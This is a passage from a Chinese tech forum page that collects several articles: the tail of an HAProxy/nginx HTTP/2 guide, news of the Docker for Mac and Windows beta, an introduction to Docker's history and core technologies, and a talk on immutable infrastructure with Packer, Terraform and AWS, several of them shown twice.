定义了服务器在端口81,会处理HTTP/2的请求。请注意,我们无法在服务器使用443端口进行SSL连接:SSL连接已经被HAProxy解密过了,所以现在我们有一个非加密连接。因此我们需要限制服务器的81端口只使用HTTP/2,不使用SSL。

题外话:小也有proxy_protocol关键词。在haproxy.cfg等效发送代理,在后端服务器配置。代理协议是独立出来的,这儿有篇文章很好的解释了原因。简而言之,它允许通过HAProxy后端服务器传送客户端的IP地址和端口号,这通常是非常理想的。

你可以使用上面的配置运行HAProxy:
HAProxy F / etc / HAProxy / haproxy.cfg
现在你应该能够连接到您的代理主机(例如https://localhost:443/),看到它正在运行HTTP / 2。如果你在Firefox的测试,检查网络请求头的标题,你会看到X-Firefox-Spdy: "h2"。


Docker images


如果你早已经会使用Docker,你可以用我们的MILLION12镜像。当Docker还是1.0版本的时候我们已经开始使用Docker很长时间了(MILLION12这是我们的仓库地址),而且我们已经构建了一堆有用的镜像。在这个例子里,我们将使用million12/haproxymillion12/nginx这两个镜像。里面的配置是我们讨论后的最终结果。

你可以运行整个栈通过使用docker-compose.yml文件。注意我们是通过haproxy容器里的web.server主机名连接Nignx的,那个域名就是当前haproxy.cfg使用的主机名。

连接https://haproxy:8443你就会看到屏幕显示出如下内容(注意蓝色的HTTP/2提示部分
nginx.png

haproxy.png

如果你想看看使用这些Docker镜像和上述配置的真实的产品工程,打开https://PrototypeBrewery.io 。Prototype Brewery是我们的产品,一个计划和构建交互式web项目的原型工具。打开看看吧,我们已经在使用HTTP/2了(别忘了注册)。


总结


正如你看到的,迁移到HTTP/2真的很简单,你今天就能做掉。 没有什么理由让你再等下去了,主流浏览器都已经支持它了。而且即使回迁到HTTP/1.1上你仍然是安全的。
分享阅读原文:http://m12.io/blog/http-2-with-haproxy-and-nginx-guide 
中文原文:http://www.oschina.net/translate/haproxy-nginx-http-2

Docker 终于有 Windows 和 Mac 版了

互联网资讯push 发表了文章 • 0 个评论 • 778 次浏览 • 2016-03-25 12:07 • 来自相关话题

今天是Docker容器化系统的第三个生日,为了庆祝该公司推出了其软件的Mac和Windows测试版程序。

它提供了一个集成的、易于部署的环境,用于构建、组装和运输在Mac或Windows系统上的应用程序,同时在Docker工具箱上也具有诸多改进。

Docker的Mac和Windows版本开发并不需要专用的机器,这使开发者更容易开发,并为他们在本地主机网络上访问容器运行提供方便。它包括一个用于容器的DNS服务器,并与Mac OS X和Windows网络系统集成。在Mac上,Docker甚至可以在连接到企业VPN。

Docker的Mac版本可以与Docker工具箱在同一时间同一台机器上使用,允许开发人员继续使用工具箱来评估Docker的Mac版本。而在Windows系统上你需要在使用Docker之前停止使用工具箱。

“Docker的Mac产品已经解决了对我们来说的所有这些问题,多亏了原生的Mac应用程序,安装已显著顺畅,并能自动更新。官方图片现在在Mac上只是‘仅仅工作’,而新开发的工作流使工程师能够快速运行服务的新版本,在他们的Mac上开发原生软件,一切都仅仅只是工作。”Mixcloud——少数几家曾使用过内测软件的公司之一的联合创始人Mat Clayton如是说。

如果您有兴趣参与内测,你可以通过注册Docker网站,接收邀请。Docker的Mac和Windows版本正处于不同的发展阶段,虽然他们共享一个主要的代码库。Docker的Windows版本最初以较慢的速度推送给用户,但最终也将与Mac版本有相同的功能。Windows版本目前只适用于支持Hyper-V的Windows10。

英文原文链接:http://betanews.com/2016/03/24/docker-windows-mac/
中文翻译链接:http://www.oschina.net/news/71885/docker-to-mac-windows 查看全部
docker.png

今天是Docker容器化系统的第三个生日,为了庆祝该公司推出了其软件的Mac和Windows测试版程序。

它提供了一个集成的、易于部署的环境,用于构建、组装和运输在Mac或Windows系统上的应用程序,同时在Docker工具箱上也具有诸多改进。

Docker的Mac和Windows版本开发并不需要专用的机器,这使开发者更容易开发,并为他们在本地主机网络上访问容器运行提供方便。它包括一个用于容器的DNS服务器,并与Mac OS X和Windows网络系统集成。在Mac上,Docker甚至可以在连接到企业VPN。

Docker的Mac版本可以与Docker工具箱在同一时间同一台机器上使用,允许开发人员继续使用工具箱来评估Docker的Mac版本。而在Windows系统上你需要在使用Docker之前停止使用工具箱。

“Docker的Mac产品已经解决了对我们来说的所有这些问题,多亏了原生的Mac应用程序,安装已显著顺畅,并能自动更新。官方图片现在在Mac上只是‘仅仅工作’,而新开发的工作流使工程师能够快速运行服务的新版本,在他们的Mac上开发原生软件,一切都仅仅只是工作。”Mixcloud——少数几家曾使用过内测软件的公司之一的联合创始人Mat Clayton如是说。

如果您有兴趣参与内测,你可以通过注册Docker网站,接收邀请。Docker的Mac和Windows版本正处于不同的发展阶段,虽然他们共享一个主要的代码库。Docker的Windows版本最初以较慢的速度推送给用户,但最终也将与Mac版本有相同的功能。Windows版本目前只适用于支持Hyper-V的Windows10。


英文原文链接:http://betanews.com/2016/03/24/docker-windows-mac/
中文翻译链接:http://www.oschina.net/news/71885/docker-to-mac-windows


为什么需要学习Docker?

大数据/云计算being 发表了文章 • 0 个评论 • 1012 次浏览 • 2016-03-23 23:56 • 来自相关话题

Docker的历史和现状分析

曾经我们都在做一个称之为PAAS的平台 




PAAS平台的范围和内容 




老一代的PAAS平台的局限性和困境 
[]主要提供应用的部署和托管[/][]针对应用开发者[/][]仅支持特定的IaaS基础技术 [/][]支持单种开发语言和框架 [/][]支持特定的服务,比如自定义的数据存储APIs [/][]没有很好的解决常用中间件的部署问题 [/][]难以解决应用和资源的隔离问题[/]
新一代的PAAS平台 
新一代的云应用平台技术则实现全方位的应用生命周期管理,关注开放性、应用的可移植性和云间相互操作性, 其代表者包括Cloud Foundry, OpenShift, Docker, Heroku, MoPaaS等PaaS技术或服务,除了在第一代PaaS 技术对用户在实现应用交付的加速所提供的功能外,具备以下大多数特征: 多语言和框架:支持多语言和框架以及语言框架的扩展机制
多服务:开放的核心服务以及服务的扩展机制
多云和多IaaS技术:支持多种IaaS技术和多云的部署,包括公有云和私有云 



dotCloud 不仅支持诸如 PHP、MySql 等传统技术框架,还包括 Node.js、MongoDB 等新兴技术。基于 dotCloud 提供 的开发工具和技术框架,你可以直接使用dotCloud的SDK编写代码和构建业务服务,并在联网的时候把这些代码 推送到云端,实现自动部署和测试。



2014.1 被BLACK DUCK 评选为2013年10大开源新项目“TOP 10 OPEN SOURCE ROOKIE OF THE YEAR” 
2014.9获取4000万美元融资,此时已经累计融资6600万美元
2015.4月获取了9500万美元融资, 已经确立了在第三代PaaS市场的主导地位。
2015.6月DockerCon 2015大会上,Linux 基金会与行业巨头联手打造开放容器技术项目Open Container Project
Docker生态圈 



Docker已经收购了一系列创业公司,包括KiteMatic、Koality和Socketplane。完成新一轮投资后,Docker计划加 快产品推进计划,在本季度推出Docker Hub企业版,并且在接下来几个月在存储、网络和安全三个产品方向发力。红帽在新的RHEL 7版本中增添了支持Docker的功能,IBM公开拥抱Docker和容器,亚马逊推出了EC2容器服 务,就连公认的竞争对手VMware也宣布支持Docker。国内,不仅腾讯、阿里、百度、Ucloud、青云等云计算服务提供商已经将Docker用到实践,还有数家Docker初 创企业在获得了天使投资后正在辛勤的开发,准备将产品尽快发布到市场上。腾讯云计算公司对外宣布成为中国首家支持Docker Machine的云计算厂商,并将自身定位于Docker基础设施的服 务商,迈出构建Docker“航运”基础设施的第一步。同时,在支持Docker Machine前提下,腾讯云也推出了常用 系统的标准版Docker镜像,以方便用户能够一键便捷创建容器。Docker生态圈,2014-2015发展 
[]贡献者增长了183%;[/][]GitHub上关于Docker的项目增长了515%; [/][]Docker提供的工作机会增长了1720%; [/][]使用Docker构建的应用程序增长了934%(Boot2Docker下载量增 加了1456%); [/][]容器的下载量增加了18082%(这个是根据DockerHub上镜像下载 量来统计的)。[/][]Docker Hub业务的进展:用户数量增长至24万,Repo增长至 15万,Pull的数量超过5亿次[/]

Docker的技术原理介绍 

Docker就是虚拟化的一种轻量级替代技术。Docker的容器技术不依赖任何语言、框架或系统,可以将App变成一种 标准化的、可移植的、自管理的组件,并脱离服务器硬件在任何主流系统中开发、调试和运行简单的说就是,在 Linux 系统上迅速创建一个容器(类似虚拟机)并在容器上部署和运行应用程序,并通过配置文件 可以轻松实现应用程序的自动化安装、部署和升级,非常方便。因为使用了容器,所以可以很方便的把生产环境和开
发环境分开,互不影响,这是docker最普遍的一个玩法。



Docker相关的核心技术 




Docker相关的核心技术之cgroups Linux系统中经常有个需求就是希望能限制某个或者某些进程的分配资源。于是就出现了cgroups的概念, cgroup就是controller group ,在这个group中,有分配好的特定比例的cpu时间,IO时间,可用内存大小等。 cgroups是将任意进程进行分组化管理的Linux内核功能。最初由google的工程师提出,后来被整合进Linux内核中。cgroups中的 重要概念是“子系统”,也就是资源控制器,每种子系统就是一个资源的分配器,比如cpu子系 统是控制cpu时间分配的。首先挂载子系统,然后才有control group的。比如先挂载memory子系统,然后在 memory子系统中创建一个cgroup节点,在这个节点中,将需要控制的进程id写入,并且将控制的属性写入, 这就完成了内存的资源限制。cgroups 被Linux内核支持,有得天独厚的性能优势,发展势头迅猛。在很多领域可以取代虚拟化技术分割资源。 cgroup默认有诸多资源组,可以限制几乎所有服务器上的资源:cpu mem iops,iobandwide,net,device acess等Docker相关的核心技术之LXCLXC是Linux containers的简称,是一种基于容器的操作系统层级的虚拟化技术。借助于namespace的隔离机制
和cgroup限额功能,LXC提供了一套统一的API和工具来建立和管理container。LXC跟其他操作系统层次的虚 拟化技术相比,最大的优势在于LXC被整合进内核,不用单独为内核打补丁LXC 旨在提供一个共享kernel的 OS 级虚拟化方法,在执行时不用重复加载Kernel, 且container的kernel与host 共享,因此可以大大加快container的 启动过程,并显著减少内存消耗,容器在提供隔离的同时,还通过共享这 些资源节省开销,这意味着容器比真正的虚拟化的开销要小得多。 在实际测试中,基于LXC的虚拟化方法的IO和
CPU性能几乎接近baremetal的性能。虽然容器所使用的这种类型的隔离总的来说非常强大,然而是不是像运行在hypervisor上的虚拟机那么强壮仍具有 争议性。如果内核停止,那么所有的容器就会停止运行。
[]性能方面:LXC>>KVM>>XEN[/][]内存利用率:LXC>>KVM>>XEN [/]
[]隔离程度:XEN>>KVM>>LXC [/]
Docker相关的核心技术之AUFS 什么是AUFS? AuFS是一个能透明覆盖一或多个现有文件系统的层状文件系统。 支持将不同目录挂载到同一 个虚拟文件系统下,可以把不同的目录联合在一起,组成一个单一的目录。这种是一种虚拟的文件系统,文 件系统不用格式化,直接挂载即可。Docker一直在用AuFS作为容器的文件系统。当一个进程需要修改一个文件时,AuFS创建该文件的一个副本。 AuFS可以把多层合并成文件系统的单层表示。这个过程称为写入复制( copy on write )。AuFS允许Docker把某些镜像作为容器的基础。例如,你可能有一个可以作为很多不同容器的基础的CentOS 系统镜像。多亏AuFS,只要一个CentOS镜像的副本就够了,这样既节省了存储和内存,也保证更快速的容器部署。使用AuFS的另一个好处是Docker的版本容器镜像能力。每个新版本都是一个与之前版本的简单差异改动, 有效地保持镜像文件最小化。但,这也意味着你总是要有一个记录该容器从一个版本到另一个版本改动的审计跟踪。




Docker全生命周期开发模式 



Docker正在迅速改变云计 算领域的运作规则,并彻 底颠覆云技术的发展前景 从持续集成/持续交付到微 服务、开源协作乃至 DevOps,Docker一路走来 已经给应用程序开发生命 周期以及云工程技术实践 带来了巨大变革。

Docker的基本概念

Docker Image 
[]Docker Image是一个极度精简版的Linux程序运行环境,比如vi这种基本 的工具没有,官网的Java镜像包括的东西更少,除非是镜像叠加方式的, 如Centos+Java7[/][]Docker Image是需要定制化Build的一个“安装包”,包括基础镜像+应 用的二进制部署包[/][]Docker Image内不建议有运行期需要修改的配置文件[/][]Dockerfile用来创建一个自定义的image,包含了用户指定的软件依赖等。当前目录下包含Dockerfile,使用命令build来创建新的image[/][]Docker Image的最佳实践之一是尽量重用和使用网上公开的基础镜像[/]
Docker Container 
[]Docker Container是Image的实例,共享内核[/][]Docker Container里可以运行不同Os的Image,比如Ubuntu的或者Centos[/][]Docker Container不建议内部开启一个SSHD服务,1.3版本后新增了docker exec命令进入容器排查问题。[/][]Docker Container没有IP地址,通常不会有服务端口暴露,是一个封闭的“盒子/沙箱”[/]
Docker Container的生命周期 




Docker Daemon 
[]Docker Daemon是创建和运行Container的Linux守护进程,也是Docker 最主要的核心组件[/][]Docker Daemon 可以理解为Docker Container的Container[/][]Docker Daemon可以绑定本地端口并提供Rest API服务,用来远程访问和控制[/]
Docker Registry/Hub 



Docker之所以这么吸引人,除了它的新颖的技术外,围绕官方Registry(Docker Hub)的生态圈也是相当吸引人眼球的地方。在Docker Hub上你可以很轻松下载 到大量已经容器化好的应用镜像,即拉即用。这些镜像中,有些是Docker官方维 护的,更多的是众多开发者自发上传分享的。而且 你还可以在Docker Hub中绑定 你的代码托管系统(目前支持Github和Bitbucket)配置自动生成镜像功能,这样 Docker Hub会在你代码更新时自动生成对应的Docker镜像。问题点:Docker Hub是dotCloud公司私有的
国内曾有公司试图提供镜像服务,但被禁止 目前国内只有一个DaoCloud提供代理缓存服务Docker Hub - our SaaS service for sharing and managing your application stacks. 




[]Linux基本操作和基本知识:磁盘、文件、日志、用户、权限、安全、网络,建议centos/redhat[/][]虚机相关技能:vmware workstation/virtbox熟练使用,虚机clone,组网,host-only网络,nat网络等熟练操作[/]

文章分享:炼数为金-Leader-us  查看全部


Docker的历史和现状分析


曾经我们都在做一个称之为PAAS的平台 
paas.png

PAAS平台的范围和内容 
fc.png

老一代的PAAS平台的局限性和困境 
    []主要提供应用的部署和托管[/][]针对应用开发者[/][]仅支持特定的IaaS基础技术 [/][]支持单种开发语言和框架 [/][]支持特定的服务,比如自定义的数据存储APIs [/][]没有很好的解决常用中间件的部署问题 [/][]难以解决应用和资源的隔离问题[/]

新一代的PAAS平台 
新一代的云应用平台技术则实现全方位的应用生命周期管理,关注开放性、应用的可移植性和云间相互操作性, 其代表者包括Cloud Foundry, OpenShift, Docker, Heroku, MoPaaS等PaaS技术或服务,除了在第一代PaaS 技术对用户在实现应用交付的加速所提供的功能外,具备以下大多数特征: 多语言和框架:支持多语言和框架以及语言框架的扩展机制
多服务:开放的核心服务以及服务的扩展机制
多云和多IaaS技术:支持多种IaaS技术和多云的部署,包括公有云和私有云 
docker.png
dotCloud 不仅支持诸如 PHP、MySql 等传统技术框架,还包括 Node.js、MongoDB 等新兴技术。基于 dotCloud 提供 的开发工具和技术框架,你可以直接使用dotCloud的SDK编写代码和构建业务服务,并在联网的时候把这些代码 推送到云端,实现自动部署和测试。
dockerqy.png

2014.1 被BLACK DUCK 评选为2013年10大开源新项目“TOP 10 OPEN SOURCE ROOKIE OF THE YEAR” 
2014.9获取4000万美元融资,此时已经累计融资6600万美元
2015.4月获取了9500万美元融资, 已经确立了在第三代PaaS市场的主导地位。
2015.6月DockerCon 2015大会上,Linux 基金会与行业巨头联手打造开放容器技术项目Open Container Project
Docker生态圈 
stq.png
Docker已经收购了一系列创业公司,包括KiteMatic、Koality和Socketplane。完成新一轮投资后,Docker计划加 快产品推进计划,在本季度推出Docker Hub企业版,并且在接下来几个月在存储、网络和安全三个产品方向发力。
红帽在新的RHEL 7版本中增添了支持Docker的功能,IBM公开拥抱Docker和容器,亚马逊推出了EC2容器服 务,就连公认的竞争对手VMware也宣布支持Docker。
国内,不仅腾讯、阿里、百度、Ucloud、青云等云计算服务提供商已经将Docker用到实践,还有数家Docker初 创企业在获得了天使投资后正在辛勤的开发,准备将产品尽快发布到市场上。
腾讯云计算公司对外宣布成为中国首家支持Docker Machine的云计算厂商,并将自身定位于Docker基础设施的服 务商,迈出构建Docker“航运”基础设施的第一步。同时,在支持Docker Machine前提下,腾讯云也推出了常用 系统的标准版Docker镜像,以方便用户能够一键便捷创建容器。
Docker生态圈,2014-2015发展 
    []贡献者增长了183%;[/][]GitHub上关于Docker的项目增长了515%; [/][]Docker提供的工作机会增长了1720%; [/][]使用Docker构建的应用程序增长了934%(Boot2Docker下载量增 加了1456%); [/][]容器的下载量增加了18082%(这个是根据DockerHub上镜像下载 量来统计的)。[/][]Docker Hub业务的进展:用户数量增长至24万,Repo增长至 15万,Pull的数量超过5亿次[/]


Docker的技术原理介绍 


Docker就是虚拟化的一种轻量级替代技术。Docker的容器技术不依赖任何语言、框架或系统,可以将App变成一种 标准化的、可移植的、自管理的组件,并脱离服务器硬件在任何主流系统中开发、调试和运行
简单的说就是,在 Linux 系统上迅速创建一个容器(类似虚拟机)并在容器上部署和运行应用程序,并通过配置文件 可以轻松实现应用程序的自动化安装、部署和升级,非常方便。因为使用了容器,所以可以很方便的把生产环境和开
发环境分开,互不影响,这是docker最普遍的一个玩法。
jsyl.png

Docker相关的核心技术 
hj.png

Docker相关的核心技术之cgroups 
Linux系统中经常有个需求就是希望能限制某个或者某些进程的分配资源。于是就出现了cgroups的概念, cgroup就是controller group ,在这个group中,有分配好的特定比例的cpu时间,IO时间,可用内存大小等。 cgroups是将任意进程进行分组化管理的Linux内核功能。最初由google的工程师提出,后来被整合进Linux内核中。
cgroups中的 重要概念是“子系统”,也就是资源控制器,每种子系统就是一个资源的分配器,比如cpu子系 统是控制cpu时间分配的。首先挂载子系统,然后才有control group的。比如先挂载memory子系统,然后在 memory子系统中创建一个cgroup节点,在这个节点中,将需要控制的进程id写入,并且将控制的属性写入, 这就完成了内存的资源限制。
cgroups 被Linux内核支持,有得天独厚的性能优势,发展势头迅猛。在很多领域可以取代虚拟化技术分割资源。 cgroup默认有诸多资源组,可以限制几乎所有服务器上的资源:cpu mem iops,iobandwide,net,device acess等
Docker相关的核心技术之LXC
LXC是Linux containers的简称,是一种基于容器的操作系统层级的虚拟化技术。借助于namespace的隔离机制
和cgroup限额功能,LXC提供了一套统一的API和工具来建立和管理container。LXC跟其他操作系统层次的虚 拟化技术相比,最大的优势在于LXC被整合进内核,不用单独为内核打补丁
LXC 旨在提供一个共享kernel的 OS 级虚拟化方法,在执行时不用重复加载Kernel, 且container的kernel与host 共享,因此可以大大加快container的 启动过程,并显著减少内存消耗,容器在提供隔离的同时,还通过共享这 些资源节省开销,这意味着容器比真正的虚拟化的开销要小得多。 在实际测试中,基于LXC的虚拟化方法的IO和
CPU性能几乎接近baremetal的性能。
虽然容器所使用的这种类型的隔离总的来说非常强大,然而是不是像运行在hypervisor上的虚拟机那么强壮仍具有 争议性。如果内核停止,那么所有的容器就会停止运行。

    []性能方面:LXC>>KVM>>XEN[/][]内存利用率:LXC>>KVM>>XEN [/]

    []隔离程度:XEN>>KVM>>LXC [/]

Docker相关的核心技术之AUFS 
什么是AUFS? AuFS是一个能透明覆盖一或多个现有文件系统的层状文件系统。 支持将不同目录挂载到同一 个虚拟文件系统下,可以把不同的目录联合在一起,组成一个单一的目录。这种是一种虚拟的文件系统,文 件系统不用格式化,直接挂载即可。
Docker一直在用AuFS作为容器的文件系统。当一个进程需要修改一个文件时,AuFS创建该文件的一个副本。 AuFS可以把多层合并成文件系统的单层表示。这个过程称为写入复制( copy on write )。
AuFS允许Docker把某些镜像作为容器的基础。例如,你可能有一个可以作为很多不同容器的基础的CentOS 系统镜像。多亏AuFS,只要一个CentOS镜像的副本就够了,这样既节省了存储和内存,也保证更快速的容器部署。
使用AuFS的另一个好处是Docker的版本容器镜像能力。每个新版本都是一个与之前版本的简单差异改动, 有效地保持镜像文件最小化。但,这也意味着你总是要有一个记录该容器从一个版本到另一个版本改动的审计跟踪。

build.png

Docker全生命周期开发模式 
zq.png
Docker正在迅速改变云计 算领域的运作规则,并彻 底颠覆云技术的发展前景 从持续集成/持续交付到微 服务、开源协作乃至 DevOps,Docker一路走来 已经给应用程序开发生命 周期以及云工程技术实践 带来了巨大变革。


Docker的基本概念


Docker Image 
    []Docker Image是一个极度精简版的Linux程序运行环境,比如vi这种基本 的工具没有,官网的Java镜像包括的东西更少,除非是镜像叠加方式的, 如Centos+Java7[/][]Docker Image是需要定制化Build的一个“安装包”,包括基础镜像+应 用的二进制部署包[/][]Docker Image内不建议有运行期需要修改的配置文件[/][]Dockerfile用来创建一个自定义的image,包含了用户指定的软件依赖等。当前目录下包含Dockerfile,使用命令build来创建新的image[/][]Docker Image的最佳实践之一是尽量重用和使用网上公开的基础镜像[/]

Docker Container 
    []Docker Container是Image的实例,共享内核[/][]Docker Container里可以运行不同Os的Image,比如Ubuntu的或者Centos[/][]Docker Container不建议内部开启一个SSHD服务,1.3版本后新增了docker exec命令进入容器排查问题。[/][]Docker Container没有IP地址,通常不会有服务端口暴露,是一个封闭的“盒子/沙箱”[/]

Docker Container的生命周期 
dbzq.png

Docker Daemon 
    []Docker Daemon是创建和运行Container的Linux守护进程,也是Docker 最主要的核心组件[/][]Docker Daemon 可以理解为Docker Container的Container[/][]Docker Daemon可以绑定本地端口并提供Rest API服务,用来远程访问和控制[/]

Docker Registry/Hub 
hub.png
Docker之所以这么吸引人,除了它的新颖的技术外,围绕官方Registry(Docker Hub)的生态圈也是相当吸引人眼球的地方。在Docker Hub上你可以很轻松下载 到大量已经容器化好的应用镜像,即拉即用。这些镜像中,有些是Docker官方维 护的,更多的是众多开发者自发上传分享的。而且 你还可以在Docker Hub中绑定 你的代码托管系统(目前支持Github和Bitbucket)配置自动生成镜像功能,这样 Docker Hub会在你代码更新时自动生成对应的Docker镜像。
问题点:
Docker Hub是dotCloud公司私有的
国内曾有公司试图提供镜像服务,但被禁止 目前国内只有一个DaoCloud提供代理缓存服务
Docker Hub - our SaaS service for sharing and managing your application stacks. 
gx.png

    []Linux基本操作和基本知识:磁盘、文件、日志、用户、权限、安全、网络,建议centos/redhat[/][]虚机相关技能:vmware workstation/virtbox熟练使用,虚机clone,组网,host-only网络,nat网络等熟练操作[/]


文章分享:炼数为金-Leader-us 


不可变基础设施的实践(Docker实践)

大数据/云计算采菊篱下 发表了文章 • 0 个评论 • 936 次浏览 • 2016-02-23 23:49 • 来自相关话题

不可变基础设施(Immutable Infrastructure)是由Chad Fowler于2013年提出的一个很有的预见性的构想 ,其核心思想为任何基础设施的实例一旦创建之后变成为只读状态,如需要修改和升级,则使用新的实例进行替换。 这种模式可以为我们减少配置管理的负担,并使得 DevOps 更加容易实践,基于 Packer、Terraform及Docker, 我们正在实践和完善这种构想,现在给大家分享。当前的不可变基础设施实践的主要内容有:
[]生产与开发环境的一致性系统[/][]利用 Terraform 构建基础设施[/]

生产与开发环境的一致性系统

我们平时的开发和测试乃至部署中,最常出现的问题之一就是由于系统环境的不一致导致bug或者运行失败, 这在长时间运行的服务器进行缓慢升级时最为常见,而老旧的系统和软件则带来更多的问题和维护成本。因此我们使用 Packer 及 Vagrant 来统一生产环境和开发环境,Packer 构建操作系统镜像,供 Vagrant 运行虚拟开发环境,这样所有的开发人员都会有一个统一并且持续更新的开发环境,更利于减少问题和协作。Packer 构建的镜像还可用于各大虚拟化平台,如 KVM、Xen和ESXi,以及导入到 AWS 等云计算平台,我们这里使用的就是 AWS。 构建的基础镜像会预装好大部分需要的软件如 Docker、Consul,一些常见的 Docker 容器镜像也会拉取预装好。这样我们在部署时就会有一个和开发环境几乎没有差别的统一基础设施可用。我已经把我们镜像的构建脚本提取开源出来 zealic/packer-boxes,构建的镜像有 CentOS 及 Debian,大家可以参考以此构建自己的镜像。

利用 Terraform 构建基础设施

上面说过我们使用 AWS 作为基础设施平台,基于不可变基础设施的理念,我们希望的是基础设施是可以快速销毁和重建的,基于这个目的,我们使用了 Terraform 来完全托管 AWS 基础设施。在此之前,我需要介绍一下部分架构。 首先我们会为基础设施分组,每个基础设施组对应一整套 VPC 环境。每组基础设施我们根据功能场景分为两种;ops-center组 及应用基础设施组,ops-center 主要承载运维基础设施,如 Mesos Master,Docker Registry,持续集成服务,VPN接入以及管理后台都运行在 ops-center。应用基础设施组则运行主要业务的微服务、反向代理及 Marathon 节点。而这些体现到 AWS 中,每组基础设施组都会应对一个 VPC,通过 VPC Peering Connection 连接相关的基础设施组。基于这样的前提,我们可以对此分出多个基础设施组,比方我们有国内和新加坡的业务,则可分出如下基础设施组:
[]ops-cn[/][]prd-cn[/][]ops-sg[/][]prd-sg-master[/][]prd-sg-slave[/]
下面将介绍我们使用 Terraform 托管基础设施时的一些细节。我们写了一套 Thor 脚本来管理多个基础设施组,每个组都是一个文件夹,文件夹中包含了对基础设施组的 Terraform 定义, 这些定义文件均被版本控制,可以进行对资源的快速回滚和改动。


当我们需要对 AWS 基础设施做一些修改时,只需要修改定义并运行如下命令:thor exec:terraform apply通过管理配置文件传递变量来关联多个基础设施组的关系。
 
目前通过 Terraform 托管了以下内容:
[]VPC[/][]VPC Subnet[/][]Route table[/][]Security Groups[/][]Route53 records[/][]ELB[/][]S3[/][]Internet/NAT Gateways[/]
以及上面提到的 ops-center 的中提供的各种功能服务器,在定义 aws_instance 时,我们会为其分配 tag,我们的管理程序在接收到服务器准备好的事件时,通过 tag 判断该服务器的角色,为其执行对应的 Ansible Playbook,从而完成自动化部署。有时我们可能会有未受 Terraform 的资源需要纳入其托管范围,这里我们用了terraforming ,可以将已经存在的 VPC、S3 或者 EC2 实例纳入 Terraform 的托管;当然Terraform 也承诺了将会在未来加入 import 功能以导入已有资源。应用基础设施组则仅部署 Marathon 管理 Docker 容器集群,由其管理业务服务及其他相关内容,由于我们的业务服务均会构建为 Docker 容器进行发布,因此这里仅仅只需要管理应用服务的配置,这里我们使用了 consul 和 confd 来进行动态配置管理。这样,我们的基础设施均以相同的模式运行和创建,均具有不可变性,系统更为简单和可靠,并具有快速回滚的能力。通过实施这套方案,我们可以获得以下好处:
[]快速重建[/][]销毁基础设施组[/][]部署多个基础设施组来实现灾容[/][]灰度发布及快速升级。[/]
Q&A
Q:你们这套方案中遇到过哪些坑让你印象深刻,请举一两个具体实例说明?

A:使用 Packer 在国内进行构建时,因为众所周知的网络原因,经常会有失败的问题,这一点可以通过其他方式避免。此外由于 Terraform 并非完全支持所有的 AWS 资源管理,如 Cloudfront、Route53 Geo DNS,仍然需要手工管理这些,不过未来 Terraform 会加入这些的支持。

Q:每个vpc组是完全独立的提供服务?能说下这套技术应对的业务层是哪个方面的么?

A:每个 VPC 组提供的是一个完整的应用功能实现,上面也提高了我们会有 prd-sg-master,prd-sg-slave,可用于灾容。业务层提供的主要是 HTTP 服务及内部依赖的微服务。

Q:请问为什么选用Consul?很多类似方案用的etcd。

A:Consul 对于 agent 的节点的失效更友好,此外 Vagrant、Consul、Terraform 都是由 HashiCorp 公司开发的,其文档和技术栈都很全面,值得应用实践。

Q:如果我用了Kubernetes,对大数据Hadoop、Spark都没啥需求,是否还有用Mesos的必要呢?换句话说Mesos和Kubernetes结合针对纯容器平台有什么好处,使用场景是什么?

A:Kubernetes 和 Mesos 都是容器管理调度的框架,Mesos 的优势是更具可开发扩展性。

Q:请问对于PHP这种可以动态加载代码的服务,在这套系统里应该怎么应用呢?​

A:动态加载代码的代码源建议使用微服务的方式提供。

Q:Vagrant在宿主机使用的是NAT模式还是bridge ?Packer相对于vagrant package 命令,优势是哪些?Vagrant 在宿主机使用 NAT 模式,这样可以减少 DNS 出问题的几率。

A:Packer 可以从ISO镜像开始构建你的系统,相对于Vagrant更纯粹;实际上Vagrant的大多数 box 都是从Packer打包过来的。

Q:我在上期分享时,介绍过类似的Packer+Terraform工具。在使用Terraform管理AWS资源时,你提到另外的脚本管理(thor exec:terraform apply)。请问,你为何不直接运行Terraform 的命令,用thor的目的是什么,你的哪个repo了有用到thor,我可以参考一下?

A:我们在运行Terraform时需要传递很多变量以及硬编码参数,同时我们使用了AWS国内区域和 AWS 国际区域,他们是分开的,对应的 AWS Access Key 及 SecretKey 不同,Thor 脚本的目的是讲这些内容通过配置文件和环境变量的的方式传递给 Terraform,使其能获取正确的参数和定位正确的执行环境。

Q:请问持续集成采用的是Jenkins加插件的方式吗?持续集成的代码采用了什么样的分支管理策略?

A:是的,持续集成采用Jenkins及插件,我们采用的分支是 Git Flow 的变种,基于pull的模型。

Q:单纯的用于AWS的话,亚马逊自家的CloudFormation支持的基础设施应该更全面,如果不考虑跨平台的能力,还有什么理由选择Terraform吗?

A:CloudFormation 的设计并不友好,基于 JSON 的语法非常晦涩且难于维护,不像 Terraform 一样一目了然。

Q:跨主机网络是咋解决的啊?是结合了Kubernetes和Mesos、Docker功能吗?

A:我们采用的方案是 Weave,没有使用Kubernetes。

=================================================

分享阅读原文:http://dockone.io/article/1044
分享作者:曾超,Hyku架构师,负责公司的基础架构和运维架构,精通AWS技术体系,热爱Docker及开源。
Dockone.io微信群分享
DockOne每周都会组织定向的技术分享,欢迎感兴趣的同学加微信:liyingjiesz 查看全部
不可变基础设施(Immutable Infrastructure)是由Chad Fowler于2013年提出的一个很有的预见性的构想 ,其核心思想为任何基础设施的实例一旦创建之后变成为只读状态,如需要修改和升级,则使用新的实例进行替换。
 
这种模式可以为我们减少配置管理的负担,并使得 DevOps 更加容易实践,基于 Packer、Terraform及Docker, 我们正在实践和完善这种构想,现在给大家分享。
当前的不可变基础设施实践的主要内容有:
    []生产与开发环境的一致性系统[/][]利用 Terraform 构建基础设施[/]


生产与开发环境的一致性系统


我们平时的开发和测试乃至部署中,最常出现的问题之一就是由于系统环境的不一致导致bug或者运行失败, 这在长时间运行的服务器进行缓慢升级时最为常见,而老旧的系统和软件则带来更多的问题和维护成本。
因此我们使用 Packer 及 Vagrant 来统一生产环境和开发环境,Packer 构建操作系统镜像,供 Vagrant 运行虚拟开发环境,这样所有的开发人员都会有一个统一并且持续更新的开发环境,更利于减少问题和协作。
Packer 构建的镜像还可用于各大虚拟化平台,如 KVM、Xen和ESXi,以及导入到 AWS 等云计算平台,我们这里使用的就是 AWS。 
构建的基础镜像会预装好大部分需要的软件如 Docker、Consul,一些常见的 Docker 容器镜像也会拉取预装好。
这样我们在部署时就会有一个和开发环境几乎没有差别的统一基础设施可用。
我已经把我们镜像的构建脚本提取开源出来 zealic/packer-boxes,构建的镜像有 CentOS 及 Debian,大家可以参考以此构建自己的镜像。


利用 Terraform 构建基础设施


